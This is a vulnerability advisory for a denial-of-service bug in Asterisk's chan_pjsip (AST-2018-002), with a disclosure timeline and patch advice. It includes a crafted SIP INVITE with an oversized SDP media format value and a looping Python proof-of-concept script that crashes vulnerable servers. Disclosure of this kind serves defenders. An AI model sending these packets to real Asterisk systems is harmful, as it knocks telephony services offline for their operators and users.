Asterisk 15.2.0 chan_pjsip SDP Media Format Denial Of Service

Asterisk running chan_pjsip suffers from an SDP message related denial of service vulnerability. Versions affected include 13.10.0, 15.1.3, 15.1.4, 15.1.5, and 15.2.0.


MD5 | e162142628fbfb5ba18a1ab13f113be7

# Segmentation fault occurs in Asterisk with an invalid SDP media format description

- Authors:
- Alfred Farrugia <[email protected]>
- Sandro Gauci <[email protected]>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- References: AST-2018-002
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-03-asterisk-pjsip-sdp-invalid-media-format-description-segfault>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-002.html>
- Tested vulnerable versions: 13.10.0, 15.1.3, 15.1.4, 15.1.5, 15.2.0
- Timeline:
- Report date: 2018-01-15
- Vendor patch made available to us: 2018-02-05
- Vendor advisory published: 2018-02-21
- Enable Security advisory: 2018-02-22

## Description

A specially crafted SDP message body with an invalid media format description causes a segmentation fault in asterisk using `chan_pjsip`.

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use.

## How to reproduce the issue

The following SIP message was used to reproduce the issue:

```
INVITE sip:[email protected]:5060 SIP/2.0
To: <sip:[email protected]:5060>
From: Test <sip:[email protected]:5060>
Call-ID: 5493d4c9-8248-4c26-a63c-ee74bcf3e1e8
CSeq: 2 INVITE
Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK5493d4c9-8248-4c26-a63c-ee74bcf3e1e8
Contact: <sip:[email protected]>
Content-Type: application/sdp
Content-Length: 115

v=0
o=- 1061502179 1061502179 IN IP4 172.17.0.1
s=Asterisk
c=IN IP4 172.17.0.2
m=audio 17002 RTP/AVP 4294967296
```


The problematic SDP section is:

```
m=audio 17000 RTP/AVP 4294967296
```


Notes:

- authentication may be required
- the destination SIP address should match a valid extension in the dialplan

To facilitate this process we wrote the following python program to reproduce this issue:

```python
import socket
import re
import md5
import uuid

SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
UDP_IP = "0.0.0.0"
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"
INVITE_USERNAME = "5678"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

while True:
callid = str(uuid.uuid4())

fmt = 4294967296

sdpbody = "v=0\r\n" \
"o=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \
"s=Asterisk\r\n" \
"c=IN IP4 172.17.0.2\r\n" \
"m=audio 17002 RTP/AVP %s" % fmt

msg="INVITE sip:%[email protected]%s:%i SIP/2.0\r\n" \
"To: <sip:%[email protected]%s:%i>\r\n" \
"From: Test <sip:%[email protected]%s:%s>\r\n" \
"Call-ID: %s\r\n" \
"CSeq: 2 INVITE\r\n" \
"Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
"Contact: <sip:%[email protected]>\r\n" \
"Content-Type: application/sdp\r\n" \
"{{AUTH}}" \
"Content-Length: %i\r\n" \
"\r\n" % (
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
USERNAME, SERVER_IP, SERVER_PORT,
callid, callid,
USERNAME, len(sdpbody)
) + \
sdpbody

sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))

data, addr = sock.recvfrom(10240)

if data.startswith("SIP/2.0 401"):
for line in data.split('\r\n'):
if line.startswith("WWW-Authenticate"):
content = line.split(':', 2)[1].strip()
realm = re.search("realm=\"([a-z]+)\"", content).group(1)
nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
ha2 = md5.new("INVITE:" + uri).hexdigest()
r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
"realm=\"%s\"," % (realm) + \
"nonce=\"%s\"," % (nonce) + \
"uri=\"%s\"," % (uri) + \
"response=\"%s\"," % (r) + \
"algorithm=md5\r\n"

sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))
```

The loop is required since a crash might not occur immediately.

This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.

### GDB backtrace result

```
gdb --args /opt/asterisk/sbin/asterisk -fcvvv

[Jan 2 16:07:36] DEBUG[45]: res_pjsip_session.c:743 handle_negotiated_sdp_session_media: Applied negotiated SDP media stream 'audio' using audio SDP handler
[Jan 2 16:07:36] ERROR[45]: pjproject:0 <?>: except.c .!!!FATAL: unhandled exception PJLIB/No memory!


Thread 26 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff0297700 (LWP 45)]
__longjmp_chk ([email protected]=0x0, [email protected]=1) at ../setjmp/longjmp.c:32
32 ../setjmp/longjmp.c: No such file or directory.
(gdb) bt
#0 __longjmp_chk ([email protected]=0x0, [email protected]=1) at ../setjmp/longjmp.c:32
#1 0x00007ffff78ed4ae in pj_throw_exception_ (exception_id=1) at ../src/pj/except.c:54
#2 0x00007ffff7868070 in pool_callback (pool=<optimized out>, size=<optimized out>) at ../src/pjsip/sip_endpoint.c:143
#3 0x00007ffff78f1a93 in pj_pool_create_block (size=1407375809856000, pool=0x7fff8c002c90) at ../src/pj/pool.c:63
#4 pj_pool_allocate_find (pool=0x7fff8c002c90, size=1407375809852724) at ../src/pj/pool.c:138
#5 0x00007ffff78fbb75 in pj_strdup ([email protected]=0x7fff8c002c90, [email protected]=0x7fff8c027638, [email protected]=0x7fff8c025638) at ../include/pj/string_i.h:41
#6 0x00007ffff78b287e in pjmedia_sdp_media_clone ([email protected]=0x7fff8c002c90, rhs=0x7fff8c025608) at ../src/pjmedia/sdp.c:691
#7 0x00007ffff78b4069 in pjmedia_sdp_session_clone ([email protected]=0x7fff8c002c90, rhs=0x7fff8c01cdb8) at ../src/pjmedia/sdp.c:1422
#8 0x00007ffff7847f31 in create_sdp_body (c_sdp=<optimized out>, pool=0x7fff8c002c90) at ../src/pjsip-ua/sip_inv.c:1722
#9 process_answer ([email protected]=0x7fff8c009f28, [email protected]=200, [email protected]=0x0, tdata=0x7fff8c002d38, tdata=0x7fff8c002d38) at ../src/pjsip-ua/sip_inv.c:2257
#10 0x00007ffff7848681 in pjsip_inv_answer (inv=0x7fff8c009f28, [email protected]=200, [email protected]entry=0x0, [email protected]=0x0, [email protected]=0x7ffff0296d10) at ../src/pjsip-ua/sip_inv.c:2393
#11 0x00007fff6b0f8f77 in answer (data=0x7fff8c00b298) at chan_pjsip.c:660
#12 0x00007ffff17cb180 in sync_task (data=0x7ffff290c510) at res_pjsip.c:4270
#13 0x00000000005fb3be in ast_taskprocessor_execute ([email protected]=0x1dd6298) at taskprocessor.c:963
#14 0x0000000000602610 in execute_tasks (data=0x1dd6298) at threadpool.c:1322
#15 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a401b8) at taskprocessor.c:963
#16 0x0000000000602af0 in threadpool_execute (pool=0x1ae0e88) at threadpool.c:351
#17 worker_active (worker=0x7fff94000948) at threadpool.c:1105
#18 worker_start ([email protected]=0x7fff94000948) at threadpool.c:1024
#19 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257
#20 0x00007ffff5e3d6ba in start_thread (arg=0x7ffff0297700) at pthread_create.c:333
#21 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)
```

## Solutions and recommendations

Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.

## About Enable Security

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## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

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